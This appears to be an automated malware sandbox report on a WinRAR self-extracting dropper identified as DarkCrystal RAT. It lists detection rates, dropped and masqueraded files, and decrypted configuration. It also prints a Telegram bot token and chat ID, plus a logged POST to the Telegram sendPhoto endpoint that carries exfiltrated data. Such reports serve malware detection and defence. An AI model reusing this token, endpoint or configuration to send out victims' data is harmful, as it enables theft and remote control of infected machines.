Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	ReversingLabs: Detection: 70%
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	ReversingLabs: Detection: 70%
Source: C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe	ReversingLabs: Detection: 70%
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	ReversingLabs: Detection: 70%
Source: C:\Recovery\winlogon.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Virustotal: Detection: 19%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Virustotal: Detection: 58%	Perma Link
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\BudDliLc.log	Virustotal: Detection: 19%	Perma Link
Source: C:\Users\user\Desktop\LdxTVLQK.log	ReversingLabs: Detection: 66%
Source: C:\Users\user\Desktop\LdxTVLQK.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\MFrsFgjH.log	ReversingLabs: Detection: 66%
Source: C:\Users\user\Desktop\MFrsFgjH.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\RAtJMMZA.log	Virustotal: Detection: 25%	Perma Link
Source: C:\Users\user\Desktop\TDfrhvdw.log	Virustotal: Detection: 9%	Perma Link
Source: C:\Users\user\Desktop\WslZMRrk.log	Virustotal: Detection: 25%	Perma Link
Source: C:\Users\user\Desktop\aEtIhTbg.log	Virustotal: Detection: 9%	Perma Link
Source: C:\Users\user\Desktop\tRVOBpwv.log	Virustotal: Detection: 7%	Perma Link
Source: C:\Users\user\Desktop\tnEMlbYs.log	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for submitted file

Source: H9gMIu2HXi.exe	Virustotal: Detection: 60%			Perma Link
Source: H9gMIu2HXi.exe	ReversingLabs: Detection: 42%

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\SecurityHealthSystray.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\tRVOBpwv.log	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\tnEMlbYs.log	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\aEtIhTbg.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Joe Sandbox ML: detected
Source: C:\Recovery\winlogon.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\TDfrhvdw.log	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"},"TelegramNotifer":{"chatid":"6770966847","bottoken":"7194985122:AAGPJPfG5AyMtXi9BvuYYVgyMXP_Fe7EV5o","settings":" !\nID: {USERID}\nComment: {COMMENT}\nUsername: {USERNAME}\nPC Name: {PCNAME}\nIP: {IP}\nGEO: {GEO}","sendmessageonce":"True","sendloginfostealer":"False","stealersetting":"Log collected\nID: {USERID}\nComment: {COMMENT}\nLog size: {SIZE}"}}
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-wSLzwx2vNs3ciNJLvHL2","0","xworm","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]

Source: H9gMIu2HXi.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Windows Multimedia Platform\8de7bf56f754b7	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Microsoft Office 15\8de7bf56f754b7	Jump to behavior

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: H9gMIu2HXi.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: H9gMIu2HXi.exe, work.exe.0.dr, dwartg.exe.3.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.pdb source: SurrogatewebSession.exe, 00000008.00000002.1734602264.00000000036B9000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A2BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00A2BA94
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A3D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00A3D420
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0031BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	3_2_0031BA94
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0032D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	3_2_0032D420
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	4_2_0072A69B
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0073C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	4_2_0073C220

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49739 -> 104.21.79.128:80

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /bot7194985122:AAGPJPfG5AyMtXi9BvuYYVgyMXP_Fe7EV5o/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="4e636f77-7e21-4561-94a7-274b0110f910"Host: api.telegram.orgContent-Length: 98588Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io

Source: unknown

DNS traffic detected: queries for: ipinfo.io

Source: unknown

HTTP traffic detected: POST /bot7194985122:AAGPJPfG5AyMtXi9BvuYYVgyMXP_Fe7EV5o/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="4e636f77-7e21-4561-94a7-274b0110f910"Host: api.telegram.orgContent-Length: 98588Expect: 100-continueConnection: Keep-Alive

Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.00000000033D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.000000000379A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003051000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.00000000029C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003397000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734323133.0000000002E02000.00000002.00000001.01000000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002729000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002613000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002740000.00000004.00000800.00020000.00000000.sdmp, rGzNBWQu.log.43.dr, lKwWBiIK.log.8.dr	String found in binary or memory: https://api.telegram.org/bot
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7194985122:AAGPJPfG5AyMtXi9BvuYYVgyMXP_Fe7EV5o/sendPhotoX
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003349000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003051000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734602264.000000000377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003051000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734323133.0000000002E02000.00000002.00000001.01000000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734602264.000000000377C000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002729000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002613000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002740000.00000004.00000800.00020000.00000000.sdmp, rGzNBWQu.log.43.dr, lKwWBiIK.log.8.dr	String found in binary or memory: https://ipinfo.io/country
Source: SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003051000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734323133.0000000002E02000.00000002.00000001.01000000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734602264.000000000377C000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002729000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002613000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002740000.00000004.00000800.00020000.00000000.sdmp, rGzNBWQu.log.43.dr, lKwWBiIK.log.8.dr	String found in binary or memory: https://ipinfo.io/ip

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary

.NET source code contains very large strings

Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Class16.cs	Long String: Length: 157876
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, Class16.cs	Long String: Length: 157876

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A27AAF: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00A27AAF

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A292C6	0_2_00A292C6
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A35011	0_2_00A35011
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A462A8	0_2_00A462A8
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A35282	0_2_00A35282
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A302F7	0_2_00A302F7
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A38253	0_2_00A38253
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A313FD	0_2_00A313FD
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A464D7	0_2_00A464D7
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A3742E	0_2_00A3742E
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A355B0	0_2_00A355B0
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A4E600	0_2_00A4E600
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A307A7	0_2_00A307A7
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A388AF	0_2_00A388AF
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A2D833	0_2_00A2D833
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A2395A	0_2_00A2395A
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A4EAAE	0_2_00A4EAAE
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A24A8E	0_2_00A24A8E
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A52BB4	0_2_00A52BB4
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A2FCCC	0_2_00A2FCCC
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A37DDC	0_2_00A37DDC
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A22EB6	0_2_00A22EB6
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003192C6	3_2_003192C6
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00325011	3_2_00325011
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00328253	3_2_00328253
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003362A8	3_2_003362A8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00325282	3_2_00325282
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003202F7	3_2_003202F7
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003213FD	3_2_003213FD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0032742E	3_2_0032742E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003364D7	3_2_003364D7
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003255B0	3_2_003255B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0033E600	3_2_0033E600
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003207A7	3_2_003207A7
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0031D833	3_2_0031D833
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003288AF	3_2_003288AF
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0031395A	3_2_0031395A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0033EAAE	3_2_0033EAAE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00314A8E	3_2_00314A8E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00342BB4	3_2_00342BB4
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0031FCCC	3_2_0031FCCC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00332D40	3_2_00332D40
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00327DDC	3_2_00327DDC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00312EB6	3_2_00312EB6
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072848E	4_2_0072848E
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007240FE	4_2_007240FE
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007300B7	4_2_007300B7
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_00734088	4_2_00734088
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_00737153	4_2_00737153
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007451C9	4_2_007451C9
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007232F7	4_2_007232F7
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007362CA	4_2_007362CA
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007343BF	4_2_007343BF
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072F461	4_2_0072F461
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0074D440	4_2_0074D440
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072C426	4_2_0072C426
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007377EF	4_2_007377EF
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072286B	4_2_0072286B
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0074D8EE	4_2_0074D8EE
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_007519F4	4_2_007519F4
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072E9B7	4_2_0072E9B7
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_00736CDC	4_2_00736CDC
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_00733E0B	4_2_00733E0B
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0072EFE2	4_2_0072EFE2
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_00744F9A	4_2_00744F9A
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BAB8028	8_2_00007FFD9BAB8028
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BABC425	8_2_00007FFD9BABC425
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BABC350	8_2_00007FFD9BABC350
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BAB8E70	8_2_00007FFD9BAB8E70
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BAB1222	8_2_00007FFD9BAB1222
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BAB8E7F	8_2_00007FFD9BAB8E7F
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BAC48EE	8_2_00007FFD9BAC48EE
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BC2E842	8_2_00007FFD9BC2E842
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BC2DA96	8_2_00007FFD9BC2DA96
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BC3111B	8_2_00007FFD9BC3111B
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Code function: 14_2_00007FFD9BA91222	14_2_00007FFD9BA91222
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Code function: 15_2_00007FFD9BAC1222	15_2_00007FFD9BAC1222
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 32_2_00007FFD9BAB1222	32_2_00007FFD9BAB1222
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 33_2_00007FFD9BAB1222	33_2_00007FFD9BAB1222
Source: C:\Recovery\winlogon.exe	Code function: 34_2_00007FFD9BAB1222	34_2_00007FFD9BAB1222
Source: C:\Recovery\winlogon.exe	Code function: 35_2_00007FFD9BAB1222	35_2_00007FFD9BAB1222
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 40_2_00007FFD9BAB1222	40_2_00007FFD9BAB1222
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Code function: 42_2_00007FFD9BAD1222	42_2_00007FFD9BAD1222
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BAC8028	43_2_00007FFD9BAC8028
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BACC425	43_2_00007FFD9BACC425
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BACC350	43_2_00007FFD9BACC350
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BAC8E70	43_2_00007FFD9BAC8E70
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BAC1222	43_2_00007FFD9BAC1222
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BAC8E7F	43_2_00007FFD9BAC8E7F
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BAD48EE	43_2_00007FFD9BAD48EE

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\BudDliLc.log AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: String function: 0032FFD0 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: String function: 0032FEFC appears 42 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: String function: 003307A0 appears 31 times
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: String function: 00A3FFD0 appears 56 times
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: String function: 00A407A0 appears 31 times
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: String function: 00A3FEFC appears 42 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: String function: 0073EB78 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: String function: 0073F5F0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: String function: 0073EC50 appears 56 times

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
